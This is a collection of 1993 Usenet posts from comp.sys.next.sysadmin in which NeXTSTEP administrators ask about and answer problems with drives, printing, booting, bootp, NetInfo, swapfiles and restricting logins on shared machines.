Newsgroups: comp.sys.next.sysadmin From: jblatt@wsuaix.csc.wsu.edu (Jeff Blatt - Forest Service) Subject: ** The currently logged in person owns all external files ** Message-ID: <1993Feb11.182122.18353@serval.net.wsu.edu> Originator: jblatt@wsuaix.csc.wsu.edu Sender: news@serval.net.wsu.edu (USENET News System) Organization: Washington State University Date: Thu, 11 Feb 93 18:21:22 GMT I have recently added an external 1 Gig. tecor hard drive to my NeXTStation turbo color slab (NeXTStep 3.0). I followed the proccedure in the SysAdmin manual and everything went smoothly. Then I realized that the drive was being automounted every time a user logged in. The end result of this is that every file on the external drive is owned by the person currently logged on. I didn't want this. So I followed the proceedure in the SysAdmin manual to add an entry in my /etc/fstab file. This also went smoothly except it didn't solve the problem. When the machine boots up it will mount the external drive the way it is specified in the fstab file, but then when every any- one logs in, Workspace remounts the drive and the current person logged in owns all of the files on the external drive. Does anyone have a clue how to prevent Workspace from remounting the drive? Jeffrey -
From: osiris@ucrengr.ucr.edu (Mark Radleigh) Newsgroups: comp.sys.next.sysadmin Subject: Re: How to disable logins on one machine? Help!! Keywords: disable logins Message-ID: <26045@galaxy.ucr.edu> Date: 11 Feb 93 19:54:00 GMT References: <1993Feb4.192136.12447@thunder.mcrcim.mcgill.edu> Sender: news@galaxy.ucr.edu Distribution: usa In article <1993Feb4.192136.12447@thunder.mcrcim.mcgill.edu> hogan@boetius (Kharim Hogan) writes: > > Hi, > > Is it possible to disable network accounts on one machine? > We need to be able to dedicate one of our machines (which > sits in a public lab) to one project for a few months. > Since all users have network accounts, probably the easiest > way to restrict this machine would be to disallow logins > on only that machine. Is there any relatively simple way > to do this without having to move the machine to a private > office (which is not an option at this point)? i.e. only > those working on the project could login to this machine > although the machine must remain on the network. > > Any help or pointers appreciated. > [stuff deleted] Well, if the default shells for the users are /bin/csh (or a derivative of csh I think), then you can modify /etc/login.std (Note that this is sourced WHENEVER anyone tries to bring up a terminal window or tries to remotely log in. This will not stop them from logging into console though...). This is what I have... ------------------------------------------------------------------------------- # # Standard csh login profile # csh will source this file before the home .login # NOTE: csh will source this file even if -f flag set # onintr - set VALID_USERS="/etc/VALID_USERS" set ME="`/usr/ucb/whoami`" # set TEMP="`grep ^$ME $VALID_USERS`" if ( $status == 1 ) then echo "" echo "Your login is disallowed on this machine." echo "Bye bye." echo "" kill -9 $$ endif ------------------------------------------------------------------------------- And then the /etc/VALID_USERS file looks something like this: # # System Users # root nobody agent daemon uucp news sybase # # The necessary Staff # osiris source backups -- +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ / \ / Mark J. Radleigh, Computer Science | ..!ucsd!ucrmath!osiris \ | C.S.L.D. System Administrator, UC Riverside | osiris@ucrengr.ucr.edu | | NeXT Mail accepted at: | osiris@csld.ucr.edu | \ Phone: (714) 787 - 2842 | (UCR ext. only) 2842 /
From: jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) Newsgroups: comp.sys.next.sysadmin Subject: Terminal (?) causes massive disk/system overload Summary: My NeXT chokes on what seemingly is a Terminal bug Keywords: terminal.app, NeXT, crash, rabbit Message-ID: <1993Feb11.221440.22264@galileo.cc.rochester.edu> Date: 11 Feb 93 22:14:40 GMT Sender: news@galileo.cc.rochester.edu Organization: University of Rochester - Rochester, New York I'm using NS3.0, and I have a problem (other than owning a collector's item): After a while past any reboot, (in terms of machine usage about 2 hours of constant use) I get a problem: when in terminal, the disk starts to run. First slowly and in short bursts. Then the pace picks up substantially until any kepyress/mouseclick takes upwards of 40 seconds to react. I have to break into the monitor and reboot. Logging out and back in does not help the situation without reboot. My swapfile is "normal" and I have scads of room on the drive for more. I have 20 megs of ram. The only things that I can think of that I have changed are that I hosed the root defaults a while ago and just re-copied them from an unaltered 3.0 machine into mine. This, however, should not cause a system crunch, right? The other thing that I have been doing is using 3D-Reality on a temporary key. I have recollections of someone having similar problems a few months ago. Any suggestions? It's a real pain in the keister to have to reboot every 2 hours. This is the first time my machine has ever given me a big headache that I haven't been able to solve by observation. Actually, I have to reboot right now or I'll be stuck in this mail probram for hours.... -- John Todd | University of Rochester, Rochester NY USA Earth Milky Way CPU 276686 | "Charracter is whata you arre ina the dark!" - E. Lizardo Rochester NY 14627| Jeeps Bought/Sold * Dictators Overthrown * Bombs Defused jtod@alora.cc.rochester.edu (NeXT mail) jtod_ltd@uhura.cc.rochester.edu
Newsgroups: comp.sys.next.sysadmin From: bob@ruf.rice.edu (Robert Morrison Dana) Subject: remapping port 119 Message-ID: <C2BBp4.J3t@rice.edu> Sender: news@rice.edu (News) Organization: Rice University Date: Fri, 12 Feb 1993 01:48:39 GMT I'm not sure that I'm using the correct terminology, but I want to free up port 119 for a use other than nntp. I removed the directory for nntp in the services directory in netinfo, and sent a SIGHUP to inetd. The program I am using still reported that the it was "already bound". I rebooted. It still reported a problem. I can access other ports (like 3000) with no trouble. Is there something else I neeed to do to "unbind" 119? Thanks, Robert -- Robert Dana bob@rice.edu ONCS UNIX student sytems programmer, Rice University
Newsgroups: comp.sys.next.sysadmin From: andy@research.canon.oz.au (Andy Newman) Subject: Re: awk ARGV ARGC ( unable to access ) Message-ID: <C2ADto.FCD@research.canon.oz.au> Sender: news@research.canon.oz.au Organization: Canon Information Systems Research Australia References: <1993Feb1.135348.16815@julian.uwo.ca> <1993Feb9.173928.7957@proximus.north.de> Date: Thu, 11 Feb 1993 13:36:59 GMT gemoe@proximus.north.de (Gerhard Moeller) writes: >What you need is gawk. There is also mawk (its sometimes quite faster than gawk.) -- Andy Newman (andy@research.canon.oz.au)
From: tilley@ccu.umanitoba.ca (Richard Tilley) Newsgroups: comp.sys.next.sysadmin Subject: Re: problem with printouts after 3.0 upgrade Message-ID: <C2BGvE.us@ccu.umanitoba.ca> Date: 12 Feb 93 03:40:25 GMT References: <1l4rdlINNd1h@disc.coactive.com> Sender: news@ccu.umanitoba.ca Organization: University of Manitoba, Winnipeg, Canada In <1l4rdlINNd1h@disc.coactive.com> dgaw@beandog (david gaw) writes: >We recently upgraded our machines to 3.0, and now ALL >printouts (from all applications, including the PrintManager Test) >are slipped down the page by about 3/4". I can't seem to figure out >why. Check the green tab on the paper tray. -- .. Richard <tilley@ccu.umanitoba.ca> Computer Services, Networking group.
Newsgroups: comp.sys.next.sysadmin From: tilley@ccu.umanitoba.ca (Richard Tilley) Subject: Re: Replaced boot disk, now have to bsd Message-ID: <C2BH81.10p@ccu.umanitoba.ca> Sender: news@ccu.umanitoba.ca Organization: University of Manitoba, Winnipeg, Canada References: <1993Feb8.155550.14636@ornl.gov> Date: Fri, 12 Feb 1993 03:48:00 GMT In <1993Feb8.155550.14636@ornl.gov> woo@ornl.gov (John W. Wooten) writes: >One of my new NeXTStation Turbos arrived with a bad internal disk. We >got a replacement from NeXT and installed it. It has the system on it >and so forth. >Somehow though it always comes up with the Monitor Window and the >statement "Can't located default boot device". >I have to do a NeXT> bsd >to get it started and it's fine. Enter "p" instead of "bsd" and set the boot command to "sd" (but not "bsd") -- .. Richard <tilley@ccu.umanitoba.ca> Computer Services, Networking group.
Newsgroups: comp.sys.next.sysadmin From: woo@ornl.gov (John W. Wooten) Subject: Re: Replaced boot disk, now have to bsd Message-ID: <1993Feb12.140012.15500@ornl.gov> Sender: usenet@ornl.gov (News poster) Organization: Oak Ridge National Laboratory References: <C2BH81.10p@ccu.umanitoba.ca> Date: Fri, 12 Feb 1993 14:00:12 GMT Thanks for the many helpful replies. Some were not so clear, but I finally got it licked. The confusion was that I had looked at the p command in the ROM monitor program. The answer beside boot command?: was yes I had changed it to no, and to bsd, but not to sd That was the magic word. So, if this happens to you as it did to me when I replaced my internal drive, type command-command ~ (if the monitor doesn't come up anyway) type p for the question about boot command? type sd then power down and back up Many thanks J. W. Wooten
From: dgaw@beandog (david gaw) Newsgroups: comp.sys.next.sysadmin Subject: problem with printouts after 3.0 updgrade Date: 11 Feb 1993 20:29:51 GMT Organization: Coactive Aesthetics Inc. Distribution: world Message-ID: <1lecvvINNmr2@disc.coactive.com> since recently upgrading to 3.0, all printouts (from all applications, including PrintManager test) are slid down the page by about 3/4". What could cause this ??? -- David Gaw Coactive Aesthetics dgaw@coactive.com P.O. Box 425967, San Francisco, CA 94142 netcom!coactive!dgaw voice:(415)626-5152 fax:(415)626-6320
From: bob@stirling.egr.duke.edu (Robert R Reynolds) Newsgroups: comp.sys.next.sysadmin Subject: No Sound After IP update Keywords: sound, ip address Message-ID: <9928@news.duke.edu> Date: 12 Feb 93 13:58:45 GMT Sender: news@news.duke.edu The IP addresses of the machines in my internet domain were recently updated. Unfortunately, my slab (25 MHz, mono) now no longer plays sounds - ANY sounds. Sound.app and other similar apps come up fine and give all visual indiations of playing the sounds but don't (and yes I have the volume up). Any suggestions as to the cause and appropriate cure would be appreciated. Bob bob@stirling.egr.duke.edu
From: shuque@microsupport.sas.upenn.edu (Shumon Huque) Newsgroups: comp.sys.next.sysadmin Subject: weird login error Message-ID: <109450@netnews.upenn.edu> Date: 13 Feb 93 19:09:22 GMT Sender: news@netnews.upenn.edu Organization: University of Pennsylvania Somebody I know is having a strange problem. Whenever he tries to login to his machine (NS 2.1) remotely, he gets the error: setgroups: not owner This does not occur on my 3.0 machine. After some investigating, it turns out that I can reproduce the error if I invoke 'login' after I am already on the system. eg. --- microsupport:~>$ login connie Password: setgroups: Not owner % --- I assume 'login' is trying to set the group id's for the user shell and is having problems. However, apart from this error message, everything seems to work fine. Any hints? The permissions on /bin/login are correct, ie setuid root. All the 3.0 machines I tested it on (only 3 really) seem to exhibit this. Is this a 3.0 general behavior - is it harmless? Are there fixes? Thanks, --Shumon Huque. shuque@spectre.sas.upenn.edu
From: tom@cse.fau.edu (Tom Horton) Newsgroups: comp.sys.next.sysadmin Subject: How is NS 3.0 on a 12 Mb cube? Message-ID: <1993Feb13.201635.10800@cybernet.cse.fau.edu> Date: 13 Feb 93 20:16:35 GMT Sender: news@cybernet.cse.fau.edu Organization: Florida Atlantic University, Boca Raton What kind of performance can I expect if I upgrade a 25 MHz cube with only 12 Mb RAM and a 105 Mb drive to NeXTSTEP 3.0? It's running 2.1 right now, and while performance isn't wonderful, it's tolerable for the few people that use it. An upgrade is desirable because I have some users who want at some 3.0-only apps. We have a second cube running 3.0 now (it has 16 Mb RAM, 660 Mb drive) that is the 2.1 machine's NetInfo server and file server. So I'm not concered about doing the upgrade, or using NFSExtend (or manual equivalents) to make developer files etc. available to the machine with the 105 Mb drive. My only concern is the performance.... ------------------------------------------------------------------------- Dr. Thomas B. Horton, Assistant Professor Dept. of Computer Science and Engineering, Florida Atlantic University Boca Raton, FL 33431 USA Phone: 407/367-2674 FAX: 407/367-2800 Internet: tom@cse.fau.edu Bitnet: HortonT@fauvax
Newsgroups: comp.sys.next.sysadmin From: jfreem@ecsvax.uncecs.edu (Joe Freeman) Subject: Re: How is NS 3.0 on a 12 Mb cube? Message-ID: <1993Feb13.210945.21887@ecsvax.uncecs.edu> Organization: UNC Educational Computing Service References: <1993Feb13.201635.10800@cybernet.cse.fau.edu> Distribution: usa Date: Sat, 13 Feb 1993 21:09:45 GMT You didn't say what processor you are running. A 68030 is not really useable on 3.0. (3.1 maybe, but doubtfull) A 25Mhz 040 with 12mb of ram works fine. In article <1993Feb13.201635.10800@cybernet.cse.fau.edu> tom@cse.fau.edu (Tom Horton) writes: >What kind of performance can I expect if I upgrade a 25 MHz cube with only 12 >Mb RAM and a 105 Mb drive to NeXTSTEP 3.0? It's running 2.1 right now, and >while performance isn't wonderful, it's tolerable for the few people that use >it. An upgrade is desirable because I have some users who want at some >3.0-only apps. > >We have a second cube running 3.0 now (it has 16 Mb RAM, 660 Mb drive) that is >the 2.1 machine's NetInfo server and file server. So I'm not concered about >doing the upgrade, or using NFSExtend (or manual equivalents) to make developer >files etc. available to the machine with the 105 Mb drive. My only concern is >the performance.... > >------------------------------------------------------------------------- >Dr. Thomas B. Horton, Assistant Professor >Dept. of Computer Science and Engineering, Florida Atlantic University >Boca Raton, FL 33431 USA Phone: 407/367-2674 FAX: 407/367-2800 >Internet: tom@cse.fau.edu Bitnet: HortonT@fauvax -- Joe Freeman jfreem@uncecs.edu The opinions espressed here are my own and are not shared by my former employer, future employer, anyone in my family or anyone else I know of.
From: root@scarolina.cerfnet.com (Operator) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: Please help my sun find it's IP address Date: 13 Feb 1993 23:23:57 GMT Organization: CERFnet Message-ID: <1ljvudINNpqa@news.cerf.net> Keywords: bootp, rarp, select, socket, bind We're trying to use a diskless sun 3/50 ($395 for qty one!) as an X-terminal on a NeXT. We're running 3.0 NeXTstep, and it's a "non-NetInfo Network". We've received information from one person who says that his NeXT running bootp version 2.1 (from CMU, not the one supplied with the NeXT) correctly hands out IP addresses to a whole bunch of pc's and macs on his network. Before the sun can send a tftp request asking for its boot file, it has to find out its IP address. What's supposed to happen (as far as we can tell from reading RFC951 and RFC1048 and the source code): 1) sun multicasts reverse arp packets onto the ethernet. (rarp packets look like regular arp packets except that the ethernet address is filled in and the IP address is blank.) 2) the NeXT runs bootpd, which listens on port 67. when a packet appears on the port, bootpd looks up the IP address, fills it in, and ships the packet back out. We get basically the same symptoms using the bootpd that NeXT supplies as if we use CMU's version 2.1. The packets come in, but never leave. No one reports any errors that we can find. We have the source code for CMU's version 2.1. Through the liberal insertion of logging statements, we can tell that it - gets a socket (socket(AF_INET, SOCK_DGRAM, 0) returns 4) - uses getservbyname() to find out that the port number is 67 - does a bind() of descriptor 4 (the socket) to port 67 - reads the bootptab file - does a select on descriptor 4 sits there forever waiting for something to appear on the socket. It never gets to the part where it manipulates the packet, because it never gets a packet. The sun passes its external loopback test, and we can see the packets come into the NeXT when we do a 'netstat -i'. (The "Ipkts" on en0 grow steadily whenever the sun is powered-on, but not when the sun is off.) Also from 'netstat -i' we can see that no packets are going out. So - does anybody out there in netland know what needs to be done to the NeXT so that the kernel will put those packets the sun is sending into port 67? Does something else need to be configured? Or are we completely confused and this has nothing to do with bootpd? Does the NeXT put the datagrams in a port other than 67? What port? Does anyone know any additional ways to find out what is happening to the packets? (Other than netstat -i.) Please respond to fasano@scarolina.cerfnet.com. If we succeed, we will post complete instructions. (At the current price for a sun 3/50, we imagine there will be some demand!) adTHANKSvance Cathy & Chris Fasano
From: majka@grep.next.com (Marc Majka) Newsgroups: comp.sys.next.sysadmin Subject: Re: Problem program called SuperHack.app Message-ID: <6798@rosie.NeXT.COM> Date: 14 Feb 93 01:31:03 GMT References: <1993Feb11.070905.30969@slate.mines.colorado.edu> Sender: news@NeXT.COM Dr. Manhattan writes > I recently have had some problems with a program that was ftp'd from > sonata.cc.purdue.edu called SuperHack.app that appears to be something > of a Trojan Horse. THE PROBLEM: SuperHack is badly broken under 3.0. It attempts to "segedit" the recycler tiffs in Workspace, replacing them with garbage cans, black holes, or etc. These tiffs are no longer in the executable, so it fails. It then writes a new Workspace default for loginwindow. The path that it writes is incorrect, resulting in login simply failing for the user who ran SuperHack. THE FIX: Login as another user. Start /NextApps/Terminal.app and use /bin/su to start a shell owned by the affected user. Alternatively, you may use telnet to make a connection to some host and log in as the affected user. In that shell, execute the following: dremove loginwindow Workspace SuperHack.app has caused problems for many people and should be deleted from the archives. If you have a copy, I reccomend that you destroy it! -- Marc Majka NeXT Inc.
From: jtod_ltd@uhura.cc.rochester.edu (John "Jeep" Todd) Newsgroups: comp.sys.next.sysadmin Subject: Bringing 3.0 swapfile under control Summary: Need help with ballooning swapfile Keywords: NeXTSTEP 3.0, NeXT, swapfile, avarice, greed, pride Message-ID: <1993Feb14.041015.14897@galileo.cc.rochester.edu> Date: 14 Feb 93 04:10:15 GMT Sender: news@galileo.cc.rochester.edu Organization: University of Rochester - Rochester, New York I have had real problems with my swapfile growing uncontrollably under 3.0 recently. It works fine for a while, and then for some odd reason, grows at a rate of about 300k per 5 seconds of processing time (eg: new operations such as keypresses, mouse clicks, background tasks) Another real pain is when it runs my daily tasks in the morning (updatedb being the largest) it sometimes gets WILDLY out of control, forcing me to unplug (!!) the computer in order to get the system under control (eg: no responses to keypresses or other sane recourse. I might be able to just break into the monitor, but then a reboot would cause all the same disk action, which would disturb my sleep at 6:30AM :-) I'm thinking that there is a problem with my root defaults, since I just re-installed them after a bad experience. I changed my swaptab file to alter my lowat mark, but after these problems started I changed it back to where it was. Any suggestions? -- John Todd | University of Rochester, Rochester NY USA Earth Milky Way CPU 276686 | "Charracter is whata you arre ina the dark!" - E. Lizardo Rochester NY 14627| Jeeps Bought/Sold * Dictators Overthrown * Bombs Defused jtod@alora.cc.rochester.edu (NeXT mail) jtod_ltd@uhura.cc.rochester.edu
Newsgroups: comp.sys.next.sysadmin From: tilley@ccu.umanitoba.ca (Richard Tilley) Subject: Re: Problem w/ telnet from Sun to NeXT Message-ID: <C2Fu4o.DzC@ccu.umanitoba.ca> Sender: news@ccu.umanitoba.ca Organization: University of Manitoba, Winnipeg, Canada References: <1993Feb9.050835.18353@netcom.com> <1993Feb9.182026.29176@urz.unibas.ch> Date: Sun, 14 Feb 1993 12:17:11 GMT In <1993Feb9.182026.29176@urz.unibas.ch> frank@ifi.unibas.ch (Robert Frank) writes: >Speaking of problems, anyone got Telnet on the mac (via MacTCP) to properly >chat with the NeXT? >The problem is that the telnet session looses certain keys on input. If these >keys are typed twice, everything is fine. Unfortunately, each mac has different >keys generating the problems... "stty all" shows that some regular characters are being used for control funcitons. -- .. Richard <tilley@ccu.umanitoba.ca> Computer Services, Networking group.
Newsgroups: comp.sys.next.sysadmin From: soward@slow.inslab.uky.edu (John Soward) Subject: Re: Next NFS server upgrade Message-ID: <C2FADo.Fts@ms.uky.edu> Sender: news@ms.uky.edu (USENET News System) Organization: University Of Kentucky, Dept. of Math Sciences References: <1993Feb9.174013.6788@bozell.com> Distribution: na Date: Sun, 14 Feb 1993 05:10:35 GMT Chris Bradley writes -> In article <1kgvhvINNjs5@ni.umd.edu> louie@sayshell.umd.edu (Louis A. -> Mamakos) writes: -> > In article <gfNjYKq00YUn0=N1kh@andrew.cmu.edu> Tod McQuillin -> <tm8t+@andrew.cmu.edu> writes: -> > >We're running a NeXT cube (68040/25Mhz) with 2.5 GB of disk serving 50 -> > >NFS clients or so. We're considering upgrading the server with a -> > >Turbo board (68040/33Mhz). -> > > -> > >My question is, with such a configuration, is upgrading to a Turbo -> > >likely to help? It's quite possible that the machine is disk-bound, -> > >in which case increasing the CPU speed won't significantly help. -> > -> > You'd likely be better off, for performance and function, to buy a Sun -> > or some other box for your NFS server if you are really server -> > performance-bound. If you've got a large, heavy NFS load, having -> > multiple SCSI buses available will reduce I/O contention on the bus -> > between multiple drives, as will support for synchronous SCSI -> > transfers so that each transfer uses the bus for less time. You get -> > neither of these on a NeXT right now. -> > -> -> I gotta (heartily) recommend that you look at the AUSPEX line of servers. -> Outstanding I/O throughput, in a BEAST of an NFS server! okay, here's a question, then...say your NFS server can read/write data to disk with a sustained throughput of 5Mb/sec....how fast will it really go? I mean what can you transfer over E-Net anyway...couple meg a sec max...the goal of a NFS server then should be to have big caches and read-aheads so you don't have to wait for anything except the net... Now here's a suggestion...make sure your NFS server has plenty of RAM, but no need to get carried away...make sure you are running plenty of nfsds...I'd say 8 or 10 (see /etc/rc) you can check your memory usage via "vm_stat" you should always have a meg or so free..also look into "iostat" for info on disk usage...somtimes balancing the load will help... -- ________________________________________________________________________ / 'The midnight sun will burn you up" -The Cure, Piggy in the Mirror / / soward@ms.uky.edu | soward@inslab.uky.edu (NeXT Mail) / /_______________________________________________________________________/
Newsgroups: comp.sys.next.sysadmin From: dan@ennex1.eng.utsa.edu (Daniel Shelton) Subject: repair of optical drives Message-ID: <1993Feb14.201459.12377@ringer.cs.utsa.edu> Sender: news@ringer.cs.utsa.edu Organization: Univ of Texas at San Antonio Date: Sun, 14 Feb 1993 20:14:59 GMT Hello All, We have one bad optical drive, one bad hard drive and an optical drive that seems to be heading for drive heaven. Does anybody know of a company that repairs both these types of drives for a reasonable price? The optical drives are both NeXT (Canon) and the drive is a 330MB Maxtor that seems to have just stopped spinning. Thanks for any info and have a good one, Dan Shelton (dan@ennex1.eng.utsa.edu)
From: matthews@oberon.umd.edu (Mike Matthews) Newsgroups: comp.sys.next.sysadmin Subject: NetInfo and DNS Message-ID: <18484@umd5.umd.edu> Date: 15 Feb 93 02:12:21 GMT Sender: news@umd5.umd.edu Organization: University of Maryland, College Park, MD Is it just me, or does NetInfo *not* do DNS queries to resolve the master property of each domain? And, if there's an alias for the old, non-fully- qualified machine in the second level, why would the third level (with the master: property having the old, aliased-in-the-second-level domain) also complain? Annnd, this may or may not be directly the cause of it, but it seems that a couple of NetInfo databases that were running on a particular machine were, after some communications failures, totally blown away. This is !good. I wasn't around when it happened (and haven't back to work yet to check on it) but this seems like a rather nasty bug. The NetInfo server was a 2.2 machine, with 3.0 (and Xedoc/3.0) clients. Does anyone have any similar experiences with NetInfo and DNS not getting along? (Well, DNS isn't the issue -- fully qualified hostnames, now *that's* an issue.) ------ Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted) ------ ... Fortunately, the responsibility for providing evidence is on the part of the person making the claim, not the critic. It is not the responsibility of UFO skeptics to prove that a UFO has never existed, nor is it the responsibility of paranormal-health-claims skeptics to prove that crystals or colored lights never healed anyone. The skeptic's role is to point out claims that are not adequately supported by acceptable evidcence and to provide plausible alternative explanations that are more in keeping with the accepted body of scientific evidence. ... - Thomas L. Creed, The Skeptical Inquirer, Vol. XII No. 2, pg. 215
Newsgroups: comp.sys.next.sysadmin From: serge@dadofsam.Princeton.EDU Subject: Re: How to disable logins on one machine? Help!! Message-ID: <1993Feb12.200015.7997@Princeton.EDU> Originator: news@nimaster Keywords: login disable Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1993Feb10.181954.71127@slate.mines.colorado.edu> Distribution: inlimited Date: Fri, 12 Feb 1993 20:00:15 GMT In article <1993Feb10.181954.71127@slate.mines.colorado.edu> cartley@dix.Mines.Colorado.EDU (Craig Artley) writes: > In article <C27KGs.uL@usenet.ucs.indiana.edu> > francisr@stupid.ucs.indiana.edu (Rob Francis) writes: > > In article <1993Feb4.192136.12447@thunder.mcrcim.mcgill.edu> > hogan@boetius (Kharim Hogan) writes: > > > > > >Is it possible to disable network accounts on one machine? > > > > # A script to put *'s for everyone's passwd to niload on the servers > > # to prevent login by unauthorized users > > That isn't enough, is it? Don't you also have to change the shell to > something like /bin/sync or /bin/false? Otherwise, people could rlogin > to the server via an entry in ~/.rhosts. [If an appropriate .rhosts > entry is present, then the password is not checked.] > > -- > Craig Artley cartley@mines.colorado.edu (303) 273-3479 > Geophysics Dept., Colorado School of Mines, Golden, CO 80401 The problem is substantially harder than even this. You also have to stop people using rsh to start up daemons that will sit and listen on a private port and provide access that way (or someone could login once on the console, start up a daemon, logout, then accee the machine via this daemon; or they could use the "at" facility to call up their home machine, etc.). Disabling network access is very difficult ... you need to put wrappers around all the inetd stuff to limit telnet/rlogin access, and you need some way of preventing anything other than "system" daemons from running (e.g., kill anything with a uid greater than 100), and even that won't stop the determined hacker. Best bet ... pull out the ethernet connector. Serge J. Goldstein
Newsgroups: comp.sys.next.sysadmin From: edmpb@fiol.uib.no (Per O. Bruvold) Subject: SoftPC and Novell. Message-ID: <1993Feb15.145515.6834@ulrik.uio.no> Sender: news@ulrik.uio.no (Mr News) Organization: University of Oslo Date: Mon, 15 Feb 1993 14:55:15 GMT Hello. Is it possible from a NeXT to access a the CD-rom services (Medline) on a Novell network? I guess we have to use SoftPC. Per O. Bruvold University of Bergen, Norway bruvold@fiol.uib.no
From: zazula@soliton.physics.arizona.edu (Ralph Zazula) Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin Subject: Re: Top Message-ID: <1993Feb11.093722.21393@galileo.physics.arizona.edu> Date: 11 Feb 93 09:37:22 GMT References: <1lbpenINNb92@intercon.intercon.com> Sender: zazula@pri.com Organization: Pinnacle Research, Inc. Hi - I submitted a top-like application to the archives a while back. It should be in a file named "tasks.tar.Z" in one of the source directories. It works for me... Ralph --- Ralph Zazula Pinnacle Research, Inc. --- send mail to "info@pri.com" for info on our NeXTSTEP products: Presto, PageChain, VirtSpace, VWall, WetPaint, Typeology...
Newsgroups: comp.sys.next.sysadmin From: hwr@pilhuhn.ka.sub.org (Heiko W.Rupp) Subject: Re: How to disable direct root login? References: <1993Feb10.193145.16918@magnus.acs.ohio-state.edu> Date: Mon, 15 Feb 1993 15:15:41 GMT Organization: The Home of the Pilhuhn Message-ID: <1993Feb15.151541.8167@pilhuhn.ka.sub.org> szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo) writes: >We want to be able to /only/ login directly as root on our >server. How do we disable it on all the other machines? >Does anyone know what do we have to change? Just remove the 'secure' from the concerned ttys in /etc/tty and send init a SIGHUP. -- Heiko W.Rupp Gerwigstr.5 7500 Kh'e 1 hwr@pilhuhn.ka.sub.org +49 721 693642 This TOPS OFF my partygoing experience! Someone I DON'T LIKE is talking to me about a HEART-WARMING European film..
Newsgroups: comp.sys.next.sysadmin From: steved@bankone.com Subject: nntp Message-ID: <1993Feb15.164537.718@bankone.com> Keywords: nntp, news Sender: steved@bankone.com (Steve Dieringer) Organization: Bank One, Columbus NA Date: Mon, 15 Feb 1993 16:45:37 GMT I'm trying to get nntp set up and I've finally been able to compile it without error, but I get the following error to the console when I try to accept articles: Feb 15 11:22:36 bullwinkle nntpd[206]: dfree read() failed: Can't assign requested address Feb 15 11:22:36 bullwinkle nntpd[206]: dfree failed due to syscall error Any suggestions? Thanks, Steve -- Steve Dieringer NeXTMail: steved@bankone.com (formerly steved@essex.com)
Newsgroups: comp.sys.next.sysadmin From: steved@bankone.com Subject: nntp problems Message-ID: <1993Feb15.184528.889@bankone.com> Keywords: nntp,news Sender: steved@bankone.com (Steve Dieringer) Organization: Bank One, Columbus NA Date: Mon, 15 Feb 1993 18:45:28 GMT I'm trying to get nntp set up and I've finally been able to compile it without error, but I get the following error to the console when I try to accept articles: Feb 15 11:22:36 bullwinkle nntpd[206]: dfree read() failed: Can't assign requested address Feb 15 11:22:36 bullwinkle nntpd[206]: dfree failed due to syscall error Any suggestions? Thanks, Steve -- Steve Dieringer NeXTMail: steved@bankone.com (formerly steved@essex.com)
From: anstine@uniblab.sas.upenn.edu (David Anstine) Newsgroups: comp.sys.next.sysadmin Subject: Need to re-sys 3.0 machines Message-ID: <109613@netnews.upenn.edu> Date: 15 Feb 93 17:57:03 GMT Sender: news@netnews.upenn.edu Is there a way to re-install system software on a 3.0 machine without running BuilDisk? Upgrade.app apparently won't work because it realizes the machine has already been upgraded. Reason: I did a net upgrade of ~15 machines, then found out my upgrade server had some corrupt files. I would like to save the time it takes to archive each disks local junk. -dave
From: bizarre@clients-r-us.tamu.edu (Tom Swanner III) Newsgroups: comp.sys.next.sysadmin Subject: Re: My NeXT color printer doesn't work! (follow-up) Date: 15 Feb 1993 19:18:46 GMT Organization: Texas A&M University, College Station, TX Message-ID: <1loqamINNlg7@tamsun.tamu.edu> Recently, I posted a plea for help with my new color printer. After trying it on another more pristine machine and having it work correctly, I decided to re-install NeXTStep 3.0 from scratch. The printer is now working correctly. Thanks for your replies! Have fun! Tom Swanner III bizarre@clients-r-us.tamu.edu
From: oly@emerson.physics.ubc.ca Newsgroups: comp.sys.next.sysadmin Subject: How to get Login Window to "bounce" Date: 15 Feb 1993 19:21:17 GMT Organization: The University of British Columbia Distribution: world Message-ID: <1loqfdINN646@iskut.ucs.ubc.ca> Hi All, How do I get the login panel to bounce around? ________________________________________________________ B.Olav Anderson CyberSurfer NeXT Mail Accepted--> e-mail oly@emerson.physics.ubc.ca "The Years Teach Much What The Days Never Know" R.W.Emerson "The Essence of Being is Becoming" Heraclitus "How can a man be weak who dares to be at all?" H.D.Thoreau
Newsgroups: comp.sys.next.sysadmin From: wkwong@columbia.eng.ohio-state.edu (Waihon Andrew Kwong) Subject: Re: How to get Login Window to "bounce" Message-ID: <1993Feb15.201351.17275@ee.eng.ohio-state.edu> Sender: news@ee.eng.ohio-state.edu Organization: The Ohio State University Dept of Electrical Engineering References: <1loqfdINN646@iskut.ucs.ubc.ca> Date: Mon, 15 Feb 1993 20:13:51 GMT In article <1loqfdINN646@iskut.ucs.ubc.ca> oly@emerson.physics.ubc.ca writes: >Hi All, > How do I get the login panel to bounce around? >________________________________________________________ >B.Olav Anderson >CyberSurfer >NeXT Mail Accepted--> e-mail oly@emerson.physics.ubc.ca > >"The Years Teach Much What The Days Never Know" > R.W.Emerson > >"The Essence of Being is Becoming" > Heraclitus > >"How can a man be weak who dares to be at all?" > H.D.Thoreau Do the following as root: (in terminal) "dwrite loginwindow MoveWhenIdle YES" Hope this help, Andy
From: matthews@oberon.umd.edu (Mike Matthews) Newsgroups: comp.sys.next.sysadmin Subject: Re: NetInfo and DNS Message-ID: <18494@umd5.umd.edu> Date: 15 Feb 93 21:17:53 GMT References: <18484@umd5.umd.edu> Sender: news@umd5.umd.edu Organization: Los Alamos National Laboratory, NM In article <18484@umd5.umd.edu> matthews@oberon.umd.edu (Mike Matthews) writes: >Annnd, this may or may not be directly the cause of it, but it seems that a >couple of NetInfo databases that were running on a particular machine were, >after some communications failures, totally blown away. False alarm. The guy was looking in the wrong place I guess, but the data was still there. What made it even more interesting is that changing the master property to point to a fully qualified hostname was having a fit of multiple personality (I was changing it to a different host, too). The update would work, I'd kill the NetInfo processes in question, fire them up, and the update would go away. Then it would come back and haunt me. But I finally banged it into submission. ------ Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted) ------ If you pick up a starving dog and make him prosperous, he will not bite you. This is the principal difference between a dog and a man. -- Mark Twain
